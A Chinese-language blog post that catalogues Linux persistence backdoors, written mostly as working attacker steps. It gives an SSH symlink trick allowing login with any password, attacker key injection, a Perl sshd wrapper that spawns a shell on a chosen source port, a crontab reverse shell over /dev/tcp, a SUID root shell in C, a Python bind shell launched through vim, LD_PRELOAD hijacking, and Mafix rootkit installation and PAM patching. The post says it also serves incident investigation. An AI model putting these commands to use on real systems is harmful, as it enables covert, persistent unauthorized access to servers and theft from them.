
Linux常見的持久化后門匯總
0x00:前言
持久化后門是指當入侵者通過某種手段拿到服務器的控制權之后,通過在服務器上放置一些后門(腳本、進程、連接之類),來方便他以后持久性的入侵,簡單梳理一下日常遇見windows用的比較多的一些持久化方式方便以后排查問題使用.
Linux
0x01:SSH
一、ssh軟連接
SSH軟連接后門的原理
1、Linux軟連接ssh后門需要ssh配置允許PAM認證才能使用
2、將sshd文件軟連接名稱設置為su,這樣應用在啟動過程中他會去PAM配置文件夾中尋找是否存在對應名稱的配置信息(su)
3、如果被控主機不允許root登陸可用其他已存在用戶登陸
4、通過軟連接的方式,實質上PAM認證是通過軟連接的文件名(如:/tmp/su,/home/su)在/etc/pam.d/目錄下尋找對應的PAM配置文件(如:/etc/pam.d/su)
5、任意密碼登陸的核心是auth sufficient pam_rootok.so,只要PAM配置文件中包含此配置即可 SSH任意密碼登陸
舉個栗子
靶機執行并查看是否軟連接建立完成
1 |
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oport=12345 |
說明:建立軟連接到/usr/local/su 文件,也可以在其他目錄,su文件名字不能變,變了就無法登錄.當然可以通過其他設置,更改su名字也是可以的.然后啟動,并指定監聽12345端口,登錄的時候密碼隨意即可.
攻擊者利用ssh并使用任意密碼登陸靶機
1 |
ssh root@1xx.1xx.1xx.1xx -p 12345 |
參考:https://www.jozxing.cc/archives/1653
二、ssh利用公鑰免密登錄
受害者:1.1.1.x
攻擊者:2.2.2.x
現在攻擊者想配置免密登錄連接受害者
攻擊者機器:
1 |
# ssh-keygen -b 4096 -t rsa |
一路回車回車默認就行,在/root/.ssh/目錄下生成了兩個文件
id_rsa、id_rsa.pub
1 |
# cat /root/.ssh/id_rsa.pub |
全部copy文件內容
受害者機器:
1 |
# vi /root/.ssh/authorized_keys |
攻擊者的id_rsa.pub內容粘貼到文件里面(如果原來存在內容就另起一行粘貼)
1 2 |
# chmod 600 /root/.ssh/authorized_keys # chmod 700 /root/.ssh |
攻擊者利用公鑰登錄
1 |
# ssh -i /root/.ssh/id_rsa root@2.2.2.x |
缺點:容易被發現
三、ssh? wrapper后門
init首先啟動的是/usr/sbin/sshd,腳本執行到getpeername這里的時候,正則匹配會失敗,于是執行下一句,啟動/usr/bin/sshd,這是原始sshd.
原始的sshd監聽端口建立了tcp連接后,會fork一個子進程處理具體工作.這個子進程,沒有什么檢驗,而是直接執行系統默認的位置的/usr/sbin/sshd,這樣子控制權又回到腳本了.此時子進程標準輸入輸出已被重定向到套接字,getpeername能真的獲取到客戶端的TCP源端口,如果是19526就執行sh給個shell.
被控端
[root@Jaky?~]#?cd?/usr/sbin
[root@Jaky?sbin]#?mv?sshd?../bin
[root@Jaky?sbin]#?echo?‘#!/usr/bin/perl’?>sshd
[root@Jaky?sbin]#?echo?‘exec?“/bin/sh”?if(getpeername(STDIN)?=~?/^..4A/);’?>>sshd
[root@Jaky?sbin]#?echo?‘exec{“/usr/bin/sshd”}?“/usr/sbin/sshd”,@ARGV,’?>>sshd
[root@Jaky?sbin]#?chmod?u+x?sshd
[root@Jaky?sbin]#?/etc/init.d/sshd?restart
控制端
socat STDIOTCP4:受害者IP:22,sourceport=19526
優點:
1、隱蔽性較強,無需要編譯,使用于大部分環境中.
2、在無連接后門的情況下,管理員是看不到端口和進程的,last也查不到登陸.
缺點:
1、需要重啟sshd進程.
四、Crontab定時任務
????Crontab定時任務就像windows中的定時任務,在Linux系統中,計劃任務一般是由cron承擔,我們可以把cron設置為開機時自動啟動.
Cron 表達式生成網站:https://qqe2.com/cron
1 |
(crontab -l;echo '* 1/5 * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab - |
0x02:SUID后門
????當s這個標志出現在文件所有者的x權限上時,此時就被稱為Set UID.簡程SUID.
當一個文件或者程序所屬 suid為0時,那么它的歸屬及為root,當執行該文件時,其實是以root身份執行的.
必要條件:
1、SUID權限僅對二進制程序有效。
2、執行者對于該程序需要具有x的可執行權限
3、本權限僅在執行該程序的過程中有效
4、在執行過程中執行者將具有該程序擁有者的權限
舉個栗子
1 2 3 4 5 |
#include<stdlib.h> main () { setuid(0); system("/bin/bash"); } |
1 2 3 4 5 6 7 8 |
編譯成二進制文件 gcc suid.c -o luomiweixiong 賦予suid權限 chmod 4755 luomiweixiong chmod u+s luomiweixiong 假設webshell權限較低,希望使用suid shell執行root命令,通過web的方式調用 http://localhost/suid.php?path=/tmp/luomiweixiong&cmd=id 即可以root的權限執行命令id |
參考
1 |
https://pythonpig.github.io/2018/06/26/suid%E5%90%8E%E9%97%A8(suid-shell)/ |
0x03:協議后門
在一些訪問控制做的比較嚴格的環境中,由內到外的TCP流量會被阻斷掉.但是對于UDP(DNS、ICMP)相關流量通常不會攔截.
主要原理就是利用ICMP中可控的data字段進行數據傳輸
Github上的協議后門利用
1 |
https://github.com/andreafabrizi/prism |
參考文章
1 |
https://zhuanlan.zhihu.com/p/41154036 |
0x04:VIM后門
Vim是從 vi 發展出來的一個文本編輯器.代碼補全,編譯及錯誤跳轉等方便編程的功能特別豐富,在程序員中被廣泛使用,和Emacs并列成為類Unix系統用戶最喜歡的文本編輯器.
使用環境
1、安裝了VIM編輯器
2、python擴展(絕大版本默認已安裝)
參考
1 |
https://github.com/ianxtianxt/WOTD |
首先使用一個python開啟本地監聽端口8888的腳本
1 2 3 4 5 6 7 8 9 10 11 12 |
from socket import * import subprocess import os, threading, sys, time if __name__ == "__main__": server=socket(AF_INET,SOCK_STREAM) server.bind(('0.0.0.0',8888)) server.listen(5) print 'waiting for connect' talk, addr = server.accept() print 'connect from',addr proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk, stdout=talk, stderr=talk, shell=True) |
同時使用vim的pyfile來執行python腳本
1 |
$(nohup?vim?-E?-c?"pyfile?jaky.py">?/dev/null?2>&1?&)?&&?sleep?2?&&?rm?-f?jaky.py |
攻擊者開啟NC鏈接就OK
0x05:linux進程注入
原理上來說,是通過獲取其它的進程并修改它,一般是通過操作系統所提供的調試接口來實現的,
在linux中具有調試功能的工具有ptrace、Gdb、radare2、strace等,這些工具都是使用ptrace這個系統調用來提供服務的.
ptrace系統調用允許一個進程去調試另外一個進程。
參考
1 |
https://kevien.github.io/2018/01/28/linux%E8%BF%9B%E7%A8%8B%E6%B3%A8%E5%85%A5/ |
Github上利用代碼
1 |
https://github.com/gaffe23/linux-inject/ |
衍生的另外一個技巧? “linux一種無文件后門技巧”
文章參考鏈接
https://kevien.github.io/2018/02/20/linux%E4%B8%80%E7%A7%8D%E6%97%A0%E6%96%87%E4%BB%B6%E5%90%8E%E9%97%A8%E6%8A%80%E5%B7%A7%28%E8%AF%91%E6%96%87%29/
0x06:動態鏈接庫后門
在Linux操作系統的動態鏈接庫在加載過程中,動態鏈接器會先讀取LDPRELOAD環境變量和默認配置文件/etc/ld.so.preload,并將讀取到的動態鏈接庫文件進行預加載,即使程序不依賴這些動態鏈接庫,LDPRELOAD環境變量和/etc/ld.so.preload配置文件中指定的動態鏈接庫依然會被裝載,這樣就導致了動態鏈接庫文件可以被當做后門使用.
參考
https://www.freebuf.com/column/162604.html
首先創建了一個jaky.c文件,其中調用time方法,然后創建了一個jakylib.c,其中生成了一個time方法供test調用
編譯后用LD_PRELOAD=$PWD/jakylib.so ./jaky劫持了time.
1 2 3 4 5 6 7 8 9 |
//jaky.c #include <stdio.h> #include <stdlib.h> #include <time.h> int main(){ srand(time(NULL)); return 0; } //編譯:gcc -o jaky jaky.c |
1 2 3 4 5 6 7 |
//jakylib.c #include <stdio.h> int time(){ printf("hello Jaky"); return 0; //the most random number in the universe } //編譯:gcc -shared -fPIC jakylib.c -o jaky.so |
Github上利用代碼
https://github.com/mempodippy/cub3
用于預加載的惡意動態鏈接庫
0x07:mafix rootkit
Mafix是一款常用的輕量應用級別Rootkits,是通過偽造ssh協議漏洞實現遠程登陸的特點是配置簡單并可以自定義驗證密碼和端口號.
參考文章
https://www.i0day.com/559.html
1.首先是獲得遠程服務器的root權限
2.然后下載rootkit程序? mafix
(下載前最好把殺毒軟件關掉,基本上會報毒的!)
3.開始安裝
1 2 3 |
tar -xvzf mafix.tar.gz cd mafix ./root rootkit 345 |
(其中rootkit為你連接后門程序時的密碼,345為連接的端口)
可以驗證一下是否成功:
1 2 |
[root@jaky ~]# netstat -anlp|grep 345 tcp 0 0 0.0.0.0:345 0.0.0.0:* LISTEN 11280/ttyload |
可以看到,345端口已經在監聽了.
4.連接后門程序
1 |
ssh 111.111.111.111 -p 345 |
0x08:PAM
PAM其實是通過提供一些動態鏈接庫和一套統一的API,將系統提供的服務和該服務的認證方式分開,使得系統管理員可以靈活地根據需要給不同的服務配置不同的認證方式而無需更改服務程序.
利用步驟
- 復制patch到源代碼目錄
- 打patch
- 編譯
- 將生成的pam_uninx.so文件覆蓋到/lib/secruity/pam_unix.so下
- 修改文件屬性
- 建立密碼保存文件,并設置好相關的權限
- 清理日志
確保ssh開啟pam支持
1 2 |
vim /etc/ssh/sshd_config UsePAM yes |
Github上利用代碼
https://github.com/litsand/shell/blob/master/pam.sh
0x09:創建不能刪除的文件
使用chattr來給與隱藏權限.這些權限需要使用lsattr這個命令才可以查看到,而如果要修改隱藏權限,則使用chattr這個命令來進行修改.
1 |
chattr +i jaky.sh |

【via@洛米唯熊】